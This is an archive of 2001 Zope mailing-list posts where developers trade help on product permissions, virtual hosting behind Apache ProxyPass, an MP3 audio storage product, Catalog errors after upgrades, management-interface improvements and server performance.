security.setDefaultAccess('allow') > security.__allow_access_to_unprotected_subobjects__ = 1 > [snip] Your last line is close, add the class attribute: __allow_access_to_unprotected_subobjects__ = 1 to the class definition in A. This tells zope to allow access to subobjects TTW which is prohibited by default. hth, -- | Casey Duncan | Kaivo, Inc. | cduncan@kaivo.com `------------------> From cduncan@kaivo.com Wed May 2 20:30:35 2001 From: cduncan@kaivo.com (Casey Duncan) Date: Wed, 02 May 2001 13:30:35 -0600 Subject: [Zope] executing dynamically generated code (eval)? References: <15088.18474.524084.478544@lindm.dm> Message-ID: <3AF0605B.1C378DE7@kaivo.com> Dieter Maurer wrote: > > Marcus Schopen writes: > > is there a kind of dtml-eval command? > > > > I'd like to execute dynamicly generated code like: > > >. > Others have answered to your specific request. > > Someone else has had a similar need than you may have. > And he announced an extension "dtml-eval" in the mailing > lists. It can be quite dangerous. Of course, it did > not make it in the Zope core and I never looked at it more > closely (I would use a special purpose External Method > for these cases). > > You may find the announcement via the searchable list > archives. > > Dieter > Actually the dtml-eval tag is not as powerful as its name might suggest. It merely lets you write Python expressions in a block without quoting. It uses the same secure expression evaluation machinery as the other dtml tags. -- | Casey Duncan | Kaivo, Inc. | cduncan@kaivo.com `------------------> From cduncan@kaivo.com Wed May 2 20:32:54 2001 From: cduncan@kaivo.com (Casey Duncan) Date: Wed, 02 May 2001 13:32:54 -0600 Subject: [Zope] Announce - Audio Product References: Message-ID: <3AF060E6.BEFD923C@kaivo.com> marc lindahl wrote: > > Odd that noone has made a product for audio storage, analogous to Image, so > I took a crack at it. > > So far it parses MP3 tag data. Anyone have info on RealAudio tag data? > Since it's based on File, it'll actually store anything. But the cool thing > is, it sucks the ID3 tag data out of the file (if there is any) and puts it > into properties, so it can be indexed. You can also edit the data in the > properties page, and whenever the audio is rendered, the new tag data is > inserted. > > It should be easy to add stuff to look for WAV and AIFF header info and suck > that out, since python comes with libraries to do that, but those aren't > popular web formats so I haven't done it yet. > > It's not CatalogAware, just as Image.... I figured you'd wrap it or whatever > to do that, but I'm open to suggestions. > > It's the first release, so obviously don't depend on it to launch rockets :) > > Get it here: > > http://www.zope.org/Members/bowerymarc/Audio > Cool beans! A jump-start on my Zapster site 8^) -- | Casey Duncan | Kaivo, Inc. | cduncan@kaivo.com `------------------> From jasonic@nomadicsltd.com Wed May 2 21:06:13 2001 From: jasonic@nomadicsltd.com (Jason Cunliffe) Date: Wed, 2 May 2001 16:06:13 -0400 Subject: [Zope] SiteAccess and broken manage links References: <000901c0d2d7$fbfc6e40$c3090740@megapathdsl.net> <00da01c0d31f$ce9ff410$2a01000a@evansys> Message-ID: <006901c0d343$57021e00$c3090740@megapathdsl.net> ___________________________________________________________ Jason CUNLIFFE = NOMADICS['Interactive Art and Technology'] ----- Original Message ----- From: "Evan Simpson" To: "Jason Cunliffe" ; Sent: Wednesday, May 02, 2001 11:51 AM Subject: Re: [Zope] SiteAccess and broken manage links > From: "Jason Cunliffe" > > Zope is reached at http://www.mysite.com/zope > > > > ProxyPass /zope http://www.mysite.com:8888/ > > You don't mention using a SiteRoot, and you're clearly not using a > VirtualHostMonster. Either of these can fix your problem. > > A SiteRoot in your root Folder with blank Base and "zope" as its Path > should work, although it will muck things up if you try to access the > site other than through the ProxyPass. Thanks ..Yes I do have SiteRoot but not a VirtualHostMonster. SiteRoot is currently set: base = http://www.mysite.com/zope path = / > A VirtualHostMonster in your root Folder will allow you to precisely > target the problem. It requires changing the ProxyPass to: > > ProxyPass /zope > http://www.mysite.com:8888/VirtualHostBase/http/www.mysite.com:80/Virtua > lHostRoot/_vh_zope OK I will try that out.. If I use Virtual Host Monster do I still need SiteRoot? cheers - Jason From kyroraz@usa.net Wed May 2 21:05:31 2001 From: kyroraz@usa.net (Jason Joy) Date: 2 May 2001 13:05:31 MST Subject: [Re: [Zope] Product Creation and Permission] Message-ID: <20010502200531.22140.qmail@wwcst271.netaddress.usa.net> > > The product that I have is made from 2 classes, which for this exampl= e I will > > call classes A and B. From the management screen of Class A after yo= u create > > a instance of it in Zope, it shows a list from a external database of= > > instances of B. B does not get into the Zope Database at all. A's c= ode has > > been modified in the manage_menu system such that it can add and subt= ract > > instances of B from the external database. It does this just fine. > > = > > When selecting a instance of B (let's call it C), from the management= menu of > > A, I keep getting asked to enter my password and can never get in, eventually > > getting it to say that I don't have permission to manage it or view i= t. = I > > tried adding: > > = > > security =3D ClassSecurityInfo() > > security.declareObjectPublic() > > security.setDefaultAccess('allow') > > security.__allow_access_to_unprotected_subobjects__ =3D 1 > > = > [snip] > = > Your last line is close, add the class attribute: > = > __allow_access_to_unprotected_subobjects__ =3D 1 > = > to the class definition in A. This tells zope to allow access to > subobjects TTW which is prohibited by default. I assume you mean like this: class A( OFS.ObjectManager.ObjectManager, OFS.PropertyManager.PropertyManager, Acquisition.Implicit, Persistent, AccessControl.Role.RoleManager, OFS.SimpleItem.Item, ): __allow_access_to_unprotected_subobjects__ =3D 1 I also, just for paranoia sake, added it before Class A is defined as wel= l as Class B. = This is the result of this attempt: Zope has encountered an error while publishing this resource. = Unauthorized You are not authorized to access this resource. Username and password are not correct. = Traceback (innermost last): File /usr/local/Zope-2.3.0/lib/python/ZPublisher/Publish.py, line 222, = in publish_module File /usr/local/Zope-2.3.0/lib/python/ZPublisher/Publish.py, line 187, = in publish File /usr/local/Zope-2.3.0/lib/python/ZPublisher/Publish.py, line 162, = in publish File /usr/local/Zope-2.3.0/lib/python/ZPublisher/BaseRequest.py, line 4= 60, in traverse File /usr/local/Zope-2.3.0/lib/python/ZPublisher/HTTPResponse.py, line = 589, in unauthorized Unauthorized: (see above) Last time I checked, my login worked. :) Jason ____________________________________________________________________ Get free email and a permanent address at http://www.netaddress.com/?N=3D= 1 From tpassin@mitretek.org Wed May 2 21:06:17 2001 From: tpassin@mitretek.org (Thomas B. Passin) Date: Wed, 2 May 2001 16:06:17 -0400 Subject: AW: [Zope] Source from form result. References: Message-ID: <002001c0d343$58cad010$38a3f1ce@mitretek.org> Marc, I think many people are uncertain about what you want to get. 1) You can get the "source" of the result page from the browser by using the "View/Source" menu or its equivalent on various browsers. This will show you the HTML that Zope has actually created and returned to the browser. 2) If you want to see the above page as text, rather than as rendered html, and you want to automatically see it in the browser window, then you have to change the content-type header from "text/html" (which it normally would be) to "text/plain". Some browsers might still render it as html, but chances are you will see it as text. To make the change, you modify the RESPONSE object. Someone else, please help out with the exact syntax for this, would you? 3) You can get the Zope "source" by using the Zope management interface. 4) A fourth possibility is that you want some other user, who has no access to the Zope mangement interface, to get the Zope source page that Zope calls - as opposed to the results page that Zope would ***generate***. I'm not sure how to do that, though I seem to remember that it's easy for a dtml method. Which of these possibilities do you want? Or is there another alternative that you want? Cheers, Tom P [Marc Fischer] > > I think, thats it, what I am looking for. Your Example works fine so far. > But my understanding in python I so low, that I am not able change it in my > needed way. Perhabs you could tell me how to realize this: > >
> > > >
> > and show me how to get the source of the result page?! :-) > From andym@ActiveState.com Wed May 2 21:12:05 2001 From: andym@ActiveState.com (Andy McKay) Date: Wed, 2 May 2001 13:12:05 -0700 Subject: [Zope] Announce - Audio Product References: <3AF060E6.BEFD923C@kaivo.com> Message-ID: <00fa01c0d344$284d3800$ae03a8c0@activestate.com> I thought about when I saw Apache-MP3, and I was on a mission to make zope do everything Apache can (I gave up). My main problem is that serving back a large file through Zope sucks as it puts the whole thing in memory. Has this been solved since last time I looked? -- Andy McKay. ----- Original Message ----- From: "Casey Duncan" To: "marc lindahl" Cc: Sent: Wednesday, May 02, 2001 12:32 PM Subject: Re: [Zope] Announce - Audio Product > marc lindahl wrote: > > > > Odd that noone has made a product for audio storage, analogous to Image, so > > I took a crack at it. > > > > So far it parses MP3 tag data. Anyone have info on RealAudio tag data? > > Since it's based on File, it'll actually store anything. But the cool thing > > is, it sucks the ID3 tag data out of the file (if there is any) and puts it > > into properties, so it can be indexed. You can also edit the data in the > > properties page, and whenever the audio is rendered, the new tag data is > > inserted. > > > > It should be easy to add stuff to look for WAV and AIFF header info and suck > > that out, since python comes with libraries to do that, but those aren't > > popular web formats so I haven't done it yet. > > > > It's not CatalogAware, just as Image.... I figured you'd wrap it or whatever > > to do that, but I'm open to suggestions. > > > > It's the first release, so obviously don't depend on it to launch rockets :) > > > > Get it here: > > > > http://www.zope.org/Members/bowerymarc/Audio > > > > Cool beans! A jump-start on my Zapster site 8^) > > -- > | Casey Duncan > | Kaivo, Inc. > | cduncan@kaivo.com > `------------------> > > _______________________________________________ > Zope maillist - Zope@zope.org > http://lists.zope.org/mailman/listinfo/zope > ** No cross posts or HTML encoding! ** > (Related lists - > http://lists.zope.org/mailman/listinfo/zope-announce > http://lists.zope.org/mailman/listinfo/zope-dev ) > From marc@bowery.com Wed May 2 21:49:16 2001 From: marc@bowery.com (marc lindahl) Date: Wed, 02 May 2001 16:49:16 -0400 Subject: [Zope] Announce - Audio Product In-Reply-To: <00fa01c0d344$284d3800$ae03a8c0@activestate.com> Message-ID: I don't think it ever did this. From looking at File, which Image and Audio are both based on, it has this data type called Pdata(). It uses this whenever the data size is larger than 2^16 (an arbitrary number buried in the file). What that does is, it chops the file into chunks (of, I think, 2^16), and builds a linked list of them. Then when it stores or retrieves the file, it only has one chunk in memory at a time. Same when it renders it, it writes it out one chunk at a time. Take a look in OFS/Image.py at the bottom of the file. Anyway, memory is cheap :) > From: "Andy McKay" > > My main problem is that serving back a large file through Zope sucks as it > puts the whole thing in memory. Has this been solved since last time I > looked? From evan@4-am.com Wed May 2 21:56:22 2001 From: evan@4-am.com (Evan Simpson) Date: Wed, 2 May 2001 15:56:22 -0500 Subject: [Zope] SiteAccess and broken manage links References: <000901c0d2d7$fbfc6e40$c3090740@megapathdsl.net> <00da01c0d31f$ce9ff410$2a01000a@evansys> <006901c0d343$57021e00$c3090740@megapathdsl.net> Message-ID: <01bc01c0d34a$591ac0a0$2a01000a@evansys> From: "Jason Cunliffe" > SiteRoot is currently set: > base = http://www.mysite.com/zope > path = / This should be: base = http://www.mysite.com path = /zope > If I use Virtual Host Monster do I still need SiteRoot? No, if you set up a VHM, you should first remove the SiteRoot. They serve the same purpose, but VHM is more flexible. Cheers, Evan @ digicool & 4-am From tim@freepm.org Wed May 2 21:52:10 2001 From: tim@freepm.org (Tim Cook) Date: Wed, 02 May 2001 15:52:10 -0500 Subject: [Zope] [FEATURE REQUEST] Improving Zope's management interface References: <15088.19756.684962.566778@lindm.dm> Message-ID: <3AF0737A.E0793898@iswt.com> Dieter Maurer wrote: > For me, at least, it would be much more helpful, if > the controlling buttons would be both at top and bottom. > That's one that I'll 'second'. -- Tim Cook, President - FreePM,Inc. http://www.FreePM.com Office: (731) 884-4126 ONLINE DEMO: http://www.freepm.org:8080/FreePM From andym@ActiveState.com Wed May 2 22:04:10 2001 From: andym@ActiveState.com (Andy McKay) Date: Wed, 2 May 2001 14:04:10 -0700 Subject: [Zope] Announce - Audio Product References: Message-ID: <019d01c0d34b$6f514960$ae03a8c0@activestate.com> Thanks I'll have a look at that. > Anyway, memory is cheap :) Memory is cheap but 20 clients x 20 meg download goes through your memory pretty quick... Cheers. -- Andy McKay. ----- Original Message ----- From: "marc lindahl" To: "Andy McKay" Cc: Sent: Wednesday, May 02, 2001 1:49 PM Subject: Re: [Zope] Announce - Audio Product > I don't think it ever did this. From looking at File, which Image and Audio > are both based on, it has this data type called Pdata(). It uses this > whenever the data size is larger than 2^16 (an arbitrary number buried in > the file). What that does is, it chops the file into chunks (of, I think, > 2^16), and builds a linked list of them. Then when it stores or retrieves > the file, it only has one chunk in memory at a time. Same when it renders > it, it writes it out one chunk at a time. Take a look in OFS/Image.py at > the bottom of the file. > > Anyway, memory is cheap :) > > > > From: "Andy McKay" > > > > My main problem is that serving back a large file through Zope sucks as it > > puts the whole thing in memory. Has this been solved since last time I > > looked? > > > _______________________________________________ > Zope maillist - Zope@zope.org > http://lists.zope.org/mailman/listinfo/zope > ** No cross posts or HTML encoding! ** > (Related lists - > http://lists.zope.org/mailman/listinfo/zope-announce > http://lists.zope.org/mailman/listinfo/zope-dev ) > From marcbpc@gmx.de Wed May 2 22:00:44 2001 From: marcbpc@gmx.de (Marc Fischer) Date: Wed, 2 May 2001 23:00:44 +0200 Subject: AW: AW: [Zope] Source from form result. In-Reply-To: <002001c0d343$58cad010$38a3f1ce@mitretek.org> Message-ID: > I think many people are uncertain about what you want to get. > > 1) You can get the "source" of the result page from the browser > by using the > "View/Source" menu or its equivalent on various browsers. This will show > you the HTML that Zope has actually created and returned to the browser. > > 2) If you want to see the above page as text, rather than as > rendered html, > and you want to automatically see it in the browser window, then > you have to > change the content-type header from "text/html" (which it > normally would be) > to "text/plain". Some browsers might still render it as html, but chances > are you will see it as text. To make the change, you modify the RESPONSE > object. Someone else, please help out with the exact syntax for > this, would > you? > > 3) You can get the Zope "source" by using the Zope management interface. > > 4) A fourth possibility is that you want some other user, who has > no access > to the Zope mangement interface, to get the Zope source page that Zope > calls - as opposed to the results > page that Zope would ***generate***. I'm not sure how to do > that, though > I seem to remember that it's easy for a dtml method. > > Which of these possibilities do you want? Or is there another > alternative > that you want? :-) Yes, there is an other :-)) Ok, I will try to explain. ... Somewhere in the Web, there is a Website, out of the world of zope:-), that provides a form with a submit button. this form passes some arguments with the syntax: ... If you klick on submit button, you get displayed some pictures. so far so good ... I want to create a zope application, that automatically gets the source of this result page, extracts the urls of the picutres and finally uploads these pictures into my zopeserver. The problem is, that it is not possible to pass the variables in the url like this: http://server/index.html?x=y. So I am looking for a way of being able to handle the source code of this result. Extraction of the urls is not a problem. Thanks for your interest ... Marc From tanepiper@hotmail.com Wed May 2 23:14:18 2001 From: tanepiper@hotmail.com (Tane Piper) Date: Thu, 3 May 2001 00:14:18 +0200 Subject: [Zope] Anounce: Zope Geeks dot Org Message-ID: Hi there everyone, Not trully satisfied with the current zope sites out there, and needing a home for my upcoming zope projects, I have started www.zopegeeks.org (currently at http://tanepiper.zopesite.com/squishdot/ until the domain name propigates). It will be located on Zopesite for the meantime, until I sort out hosting of my own. The two projects I will be focusing on will be: ZGeeklog is the Zope port of Geeklog, a PHP based weblog and portal system. (I wanted to call it Zopelog, but that was taken!) ZBB is a Bulletin Board system, similar to Ultimate Bulletin Board, PHPBB and other similar systems. Now, I have no timeframe for either of these projects, they will be started and finished when I am ready (read: not too busy). Any comments/suggestions/ideas are welcome. Tane Piper Lead Designer - ZZICT Entertainment http://www.zzict.nl From maxmcorp@worldonline.dk Wed May 2 23:21:37 2001 From: maxmcorp@worldonline.dk (Max M) Date: Thu, 3 May 2001 00:21:37 +0200 Subject: [Zope] Zope 2.3.1 Catalog is there a bad bug in this? Message-ID: I have upgraded Zope from an older version to 2.3.1 and I get this error when searching for a known item:: Error Type: KeyError Error Value: 43 It comes when using the code:: Is this due to a Catalog bug in 2.3.1 ??? (I'd rather want to avoid upgrading to 2.3.2 as I have to travel to get to the site with the installation.) Regards Max M Max M. W. Rasmussen, Denmark. New Media Director private: maxmcorp@worldonline.dk work: maxm@normik.dk ----------------------------------------------------- Shipping software is an unnatural act From tpassin@mitretek.org Wed May 2 23:21:45 2001 From: tpassin@mitretek.org (Thomas B. Passin) Date: Wed, 2 May 2001 18:21:45 -0400 Subject: AW: [Zope] Source from form result. References: Message-ID: <006101c0d356$459b55b0$38a3f1ce@mitretek.org> [Marc Fischer] > Ok, I will try to explain. ... Somewhere in the Web, there is a Website, out > of the world of zope:-), that provides a form with a submit button. this > form passes some arguments with the syntax: > ... > > If you klick on submit button, you get displayed some pictures. so far so > good ... > > I want to create a zope application, that automatically gets the source of > this result page, extracts the urls of the picutres and finally uploads > these pictures into my zopeserver. [Tom] You mean, you have a web page hosted in Zope, you click a button or something on it, and the pictures end up in Zope with no more human actions? [Marc] > > The problem is, that it is not possible to pass the variables in the url > like this: > http://server/index.html?x=y. > > [Tom] I don't know what you mean here, why can't you include the variables in the url? Where would you like to include the variables but find it can't be done? [Marc] > So I am looking for a way of being able to handle the source code of this > result. Extraction of the urls is not a problem. > [Tom] Do you want to do this for a single site that always sends the same html, or a range of sites that are similar but not identical? I would think about using an External Method. That would let you use the Python httplib library. With httplib , you could get the form by issuing an HTTP GET command on the remote server. Then you could use the form to build the right url (including the "?x=y"), and then issue another GET on that url. This would get you the html for the page - that is the source you asked for - from which you could extract all the image urls. This wouldn't work if the form runs some javascript to set its variables, though, since your Python program wouldn't be able to figure out what the javascript was doing. Alternatively, if the form you want has a name assigned to the form element (or even if you knew its position among all the forms on the page), you could create a browser window with two frames and load the form into one of them. From the other one, using Javascript, you could cause the form to load the page that has the pictures. Then, again with javascript, you could walk through its images array and get all the urls. Then you could load these urls into form variables and, using javascript, send the form with the pictures' urls to Zope. From there, it ought to be possible to get Zope to upload the pictures. If you were clever with the design, you could get your page to do this on a list of sites, or on a list of picture selections. I think this would be feasible using either Netscape or Internet Explorer, but certainly with IE. We're talking about a lot of work experimenting and developing, though, if you don't know these techniques already. How many images do you want to capture? Maybe it would be faster to do them by hand, one at a time. Cheers, Tom P From andym@ActiveState.com Wed May 2 23:34:50 2001 From: andym@ActiveState.com (Andy McKay) Date: Wed, 2 May 2001 15:34:50 -0700 Subject: [Zope] Anounce: Zope Geeks dot Org References: Message-ID: <025701c0d358$19abdbd0$ae03a8c0@activestate.com> I'll try not to take it personally ;P Good luck... Cheers. -- Andy McKay. ----- Original Message ----- From: "Tane Piper" To: ; Sent: Wednesday, May 02, 2001 3:14 PM Subject: [Zope] Anounce: Zope Geeks dot Org > Hi there everyone, > > Not trully satisfied with the current zope sites out there, and needing a > home for my upcoming zope projects, I have started www.zopegeeks.org > (currently at http://tanepiper.zopesite.com/squishdot/ until the domain name > propigates). > > It will be located on Zopesite for the meantime, until I sort out hosting of > my own. > > The two projects I will be focusing on will be: > > ZGeeklog is the Zope port of Geeklog, a PHP based weblog and portal system. > (I wanted to call it Zopelog, but that was taken!) > > ZBB is a Bulletin Board system, similar to Ultimate Bulletin Board, PHPBB > and other similar systems. > > Now, I have no timeframe for either of these projects, they will be started > and finished when I am ready (read: not too busy). Any > comments/suggestions/ideas are welcome. > > Tane Piper > Lead Designer - ZZICT Entertainment > http://www.zzict.nl > > > > _______________________________________________ > Zope maillist - Zope@zope.org > http://lists.zope.org/mailman/listinfo/zope > ** No cross posts or HTML encoding! ** > (Related lists - > http://lists.zope.org/mailman/listinfo/zope-announce > http://lists.zope.org/mailman/listinfo/zope-dev ) > From chrism@digicool.com Wed May 2 23:45:54 2001 From: chrism@digicool.com (Chris McDonough) Date: Wed, 02 May 2001 18:45:54 -0400 Subject: [Zope] Zope 2.3.1 Catalog is there a bad bug in this? References: Message-ID: <3AF08E22.6D0FAAB0@digicool.com> Hi Max, I don't know what version you upgraded to, but doing an "Update Catalog" on the Advanced tab should rid your Catalog of this problem. The state in older catalogs is an unknown, and doing this puts all the moons in the right order. HTH, - C Max M wrote: > > I have upgraded Zope from an older version to 2.3.1 and I get this error > when searching for a known item:: > > Error Type: KeyError > Error Value: 43 > > It comes when using the code:: > > > > Is this due to a Catalog bug in 2.3.1 ??? > > (I'd rather want to avoid upgrading to 2.3.2 as I have to travel to get to > the site with the installation.) > > Regards Max M > > Max M. W. Rasmussen, Denmark. New Media Director > private: maxmcorp@worldonline.dk work: maxm@normik.dk > ----------------------------------------------------- > Shipping software is an unnatural act > > _______________________________________________ > Zope maillist - Zope@zope.org > http://lists.zope.org/mailman/listinfo/zope > ** No cross posts or HTML encoding! ** > (Related lists - > http://lists.zope.org/mailman/listinfo/zope-announce > http://lists.zope.org/mailman/listinfo/zope-dev ) From itai@optusnet.com.au Wed May 2 23:51:35 2001 From: itai@optusnet.com.au (Itai Tavor) Date: Thu, 3 May 2001 08:51:35 +1000 Subject: [Zope] Re [Zope]: Punished for upgrading to 2.3.2: ZPatterns broke In-Reply-To: References: Message-ID: Hi Joachim, Thanks for reminding me of this post... I did see it but I understood it to mean that the current ZPatterns won't benefit from the improved BTrees , not that it would break it completely... Itai Joachim Schmitz wrote: >Hi Itai, > >I remember that there was some discussion about ZPatterns and the new BTree >implementation on this list during the betaphase of 2.3.2. >by searching the mail archive for ZPatterns AND BTree I found: > >http://groups.yahoo.com/group/zope/message/58841 > >hope that helps. > >On Wed, 2 May 2001, Itai Tavor wrote: > >> Itai Tavor (me) wrote: >> >> >Hi, >> > >> >I shut down a Zope instance using Zope 2.3.1, and started it again >> >with 2.3.2. When I tried to access objects on a rack, I got an >> >AttributeError: _setRack. I went back to 2.3.1, but I still get the >> >same error. >> > >> >Ok, I can take a hint. Somebody doesn't want me to use Zope 2.3.2. >> >All right, I won't. But my project is still hosed. So now I got to >> >restore a backup and lose a day's work. >> > >> >Is anyone else aware of upgrde problems with ZPatterns? >> > >> >Itai >> >> Ok, there seems to be something very wrong with ZPatterns in 2.3.2. >> I've recreated all the Racks from scratch, got them to work, filled >> them with data. Then I restarted Zope, and the _setRack problem >> returned. Just to keep it interesting, though, it happens with just 2 >> out of 4 racks in this application. >> >> At the moment, any work I do on this project is a waste of time. >> Someone please tell me what's going on here. >> >> TIA >> > > Itai -- -- Itai Tavor -- "Je sautille, donc je suis." -- itai@optusnet.com.au -- - Kermit the Frog -- -- 'Supposing a tree fell down, Pooh, when we were underneath it?' -- -- 'Supposing it didn't,' said Pooh after careful thought. -- From augusto@artlover.com Thu May 3 00:02:22 2001 From: augusto@artlover.com (Ausum) Date: Wed, 02 May 2001 18:02:22 -0500 Subject: [Zope] [FEATURE REQUEST] Improving Zope's management interface References: <15088.19756.684962.566778@lindm.dm> <3AF0737A.E0793898@iswt.com> Message-ID: <3AF091FE.E6039A51@artlover.com> I've made very minor changes to my interface dtmls in order to reduce clicks when using Zope, all of them easy to implement. They are: - Full screen dtml editing window (with IE for PC), - Printer version dtml window, - "view" opening a new window - Pull-down menus to browse other editable objects while at the edit or properties window (without the need to click back to the main directory window every time) - Images rendered at the very directory list, when wanted. - Images rendered at the edit and properties pages, all the time. - Thiner directory row lines, smaller font sizes of the rows content and form objects, and of course, control buttons also on top. These are easy things to do, and they do help to reduce unnecessary clicks, right clicks and scrolling. Hope that some of them were considered for the next version of Zope. Ausum Tim Cook wrote: > > Dieter Maurer wrote: > > > For me, at least, it would be much more helpful, if > > the controlling buttons would be both at top and bottom. > > > > That's one that I'll 'second'. > > -- > Tim Cook, President - FreePM,Inc. > http://www.FreePM.com Office: (731) 884-4126 > ONLINE DEMO: http://www.freepm.org:8080/FreePM > > _______________________________________________ > Zope maillist - Zope@zope.org > http://lists.zope.org/mailman/listinfo/zope > ** No cross posts or HTML encoding! ** > (Related lists - > http://lists.zope.org/mailman/listinfo/zope-announce > http://lists.zope.org/mailman/listinfo/zope-dev ) From muldrow@mac.com Wed May 2 20:05:42 2001 From: muldrow@mac.com (Chris Muldrow) Date: Wed, 02 May 2001 19:05:42 +0000 Subject: [Zope] Browser sniffing for wireless devices Message-ID: Anyone doing browser sniffing with Zope to determine whether a user is coming in with and HDML or WML-enabled phone? I've got some leads on this, but I REALLY don't want to have to check for every USER_AGENT available. Is there a good way to check and see A) if it's a WML device B) If not, if it's an HDML device C) If it's not, is it an HTML device? AND another wireless Zope conundrum. I'm serving some HDML pages from Zope. When I feed a Content-Type: text/x-hdml with the page, it doesn't show up on my Verizon Motorola 2260 phone. When I don't send the content-type, it does show up. The opposite is true on the Phone.com SDK phone browser--without a content-type, it chokes, but with a content type, it works. Any enlightenment? Thankee! -- Chris Muldrow, muldrow@mac.com From itai@optusnet.com.au Thu May 3 00:16:00 2001 From: itai@optusnet.com.au (Itai Tavor) Date: Thu, 3 May 2001 09:16:00 +1000 Subject: [Zope] Run Zope under nobody or real user? Message-ID: Hi, Can anyone explain the advantages (if any) of running Zope under a real user instead of under nobody? TIA, Itai -- -- Itai Tavor -- "Je sautille, donc je suis." -- itai@optusnet.com.au -- - Kermit the Frog -- -- 'Supposing a tree fell down, Pooh, when we were underneath it?' -- -- 'Supposing it didn't,' said Pooh after careful thought. -- From jason_zope@yahoo.com Thu May 3 02:01:24 2001 From: jason_zope@yahoo.com (Jason Byron) Date: Wed, 2 May 2001 18:01:24 -0700 (PDT) Subject: [Zope] TUX and Zope? + ab results Message-ID: <20010503010124.21782.qmail@web4605.mail.yahoo.com> This may sound silly, but do you think it would be feasably to get some more speed out of Zope by combining it with TUX (the linux kernel based web server) ? Maybe build the python interpreter into it ? I know, speed isn't important, abstraction is better, yada yada yada. It's just totally cool to see results like this, and I want to make Zope as cool as possible. 1000 requests, 100 at a time TUX 2898.55 Requests per second AOLserver 603.14 Requests per second Apache 502.51 Requests per second Zope 60.57 Requests per second bear in mind this is my piece of crap celery 700 with 128Megs RAM __________________________________________________ Do You Yahoo!? Yahoo! Auctions - buy the things you want at great prices http://auctions.yahoo.com/ From marc@bowery.com Thu May 3 02:09:10 2001 From: marc@bowery.com (marc lindahl) Date: Wed, 02 May 2001 21:09:10 -0400 Subject: [Zope] [FEATURE REQUEST] Improving Zope's management interface In-Reply-To: <3AF091FE.E6039A51@artlover.com> Message-ID: Maybe you can post them somewhere? > From: Ausum > Date: Wed, 02 May 2001 18:02:22 -0500 > To: zope@zope.org > Subject: Re: [Zope] [FEATURE REQUEST] Improving Zope's management interface > > I've made very minor changes to my interface dtmls in order to reduce clicks > when using Zope, all of them easy to implement. They are: > > - Full screen dtml editing window (with IE for PC), > - Printer version dtml window, > - "view" opening a new window > - Pull-down menus to browse other editable objects while at the edit or > properties window (without the need to click back to the main directory > window every time) > - Images rendered at the very directory list, when wanted. > - Images rendered at the edit and properties pages, all the time. > - Thiner directory row lines, smaller font sizes of the rows content and form > objects, and of course, control buttons also on top. > > These are easy things to do, and they do help to reduce unnecessary clicks, > right clicks and scrolling. Hope that some of them were considered for the > next > version of Zope. > > > Ausum > > > > > Tim Cook wrote: >> >> Dieter Maurer wrote: >> >>> For me, at least, it would be much more helpful, if >>> the controlling buttons would be both at top and bottom. >>> >> >> That's one that I'll 'second'. >> >> -- >> Tim Cook, President - FreePM,Inc. >> http://www.FreePM.com Office: (731) 884-4126 >> ONLINE DEMO: http://www.freepm.org:8080/FreePM >> >> _______________________________________________ >> Zope maillist - Zope@zope.org >> http://lists.zope.org/mailman/listinfo/zope >> ** No cross posts or HTML encoding! ** >> (Related lists - >> http://lists.zope.org/mailman/listinfo/zope-announce >> http://lists.zope.org/mailman/listinfo/zope-dev ) > > > _______________________________________________ > Zope maillist - Zope@zope.org > http://lists.zope.org/mailman/listinfo/zope > ** No cross posts or HTML encoding! ** > (Related lists - > http://lists.zope.org/mailman/listinfo/zope-announce > http://lists.zope.org/mailman/listinfo/zope-dev ) From marc@bowery.com Thu May 3 02:10:39 2001 From: marc@bowery.com (marc lindahl) Date: Wed, 02 May 2001 21:10:39 -0400 Subject: [Zope] Run Zope under nobody or real user? In-Reply-To: Message-ID: Then you can log on as that user, it makes upgrading via FPT and SSH/telnet so easy! All the permissions are set correctly. > From: Itai Tavor > Date: Thu, 3 May 2001 09:16:00 +1000 > To: zope@zope.org > Subject: [Zope] Run Zope under nobody or real user? > > Hi, > > Can anyone explain the advantages (if any) of running Zope under a > real user instead of under nobody? > > TIA, Itai > -- > -- > Itai Tavor -- "Je sautille, donc je suis." -- > itai@optusnet.com.au -- - Kermit the Frog -- > -- 'Supposing a tree fell down, Pooh, when we were underneath it?' -- > -- 'Supposing it didn't,' said Pooh after careful thought. -- > > > _______________________________________________ > Zope maillist - Zope@zope.org > http://lists.zope.org/mailman/listinfo/zope > ** No cross posts or HTML encoding! ** > (Related lists - > http://lists.zope.org/mailman/listinfo/zope-announce > http://lists.zope.org/mailman/listinfo/zope-dev ) From bill@libc.org Thu May 3 02:14:11 2001 From: bill@libc.org (Bill Anderson) Date: 02 May 2001 19:14:11 -0600 Subject: [Zope] Announce - Audio Product In-Reply-To: Message-ID: On 02 May 2001 15:07:29 -0400, marc lindahl wrote: > Odd that noone has made a product for audio storage, analogous to Image, so > I took a crack at it. ... > It's not CatalogAware, just as Image.... I figured you'd wrap it or whatever > to do that, but I'm open to suggestions. How about a version based on ExtImage, for storing ithe big datafile outside of the ZODB? :) /me thinks many, many people would be up for that version! Bill From marc@bowery.com Thu May 3 02:18:19 2001 From: marc@bowery.com (marc lindahl) Date: Wed, 02 May 2001 21:18:19 -0400 Subject: [Zope] Announce - Audio Product In-Reply-To: <019d01c0d34b$6f514960$ae03a8c0@activestate.com> Message-ID: Thing is, any of the external file products will have to suck the whole file into a python object first, or do what File does and mete it out in chunks, so it's really the same deal. Same if you used an SQL backend or whatever, as long is it's going thru Zope. The only workaround would be to have abjects that passed absolute URLs which a different webserver, like apache, would then actually send out to the user. > >> Anyway, memory is cheap :) > > Memory is cheap but 20 clients x 20 meg download goes through your memory > pretty quick... From Andreas Jung" Message-ID: <02d701c0d36e$fd037760$d0063bd0@SUXLAP> ----- Original Message ----- From: "Jason Byron" To: Sent: Wednesday, May 02, 2001 9:01 PM Subject: [Zope] TUX and Zope? + ab results > This may sound silly, but do you think it would be > feasably to get some more speed out of Zope by > combining it with TUX (the linux kernel based web > server) ? Maybe build the python interpreter into > it ? Nope, nice idea but this makes no sense. TUX is highly optimized for delivering static page and only runs on Linux as long as I know. > > 1000 requests, 100 at a time > > TUX 2898.55 Requests per second > AOLserver 603.14 Requests per second > Apache 502.51 Requests per second > Zope 60.57 Requests per second The numbers sound reasonable. About one year ago I made similiar benchmark detecting that Zope is about 10 times slower when delivering static objects. Andreas From marc@bowery.com Thu May 3 02:35:00 2001 From: marc@bowery.com (marc lindahl) Date: Wed, 02 May 2001 21:35:00 -0400 Subject: [Zope] Announce - Audio Product In-Reply-To: Message-ID: Well, someone would have to convince me that's a good idea. So far, I think ZODB is the place to keep 'em. Of course, it's open source, someone could adapt it to ExtFile or LocalFS... > From: Bill Anderson > Date: 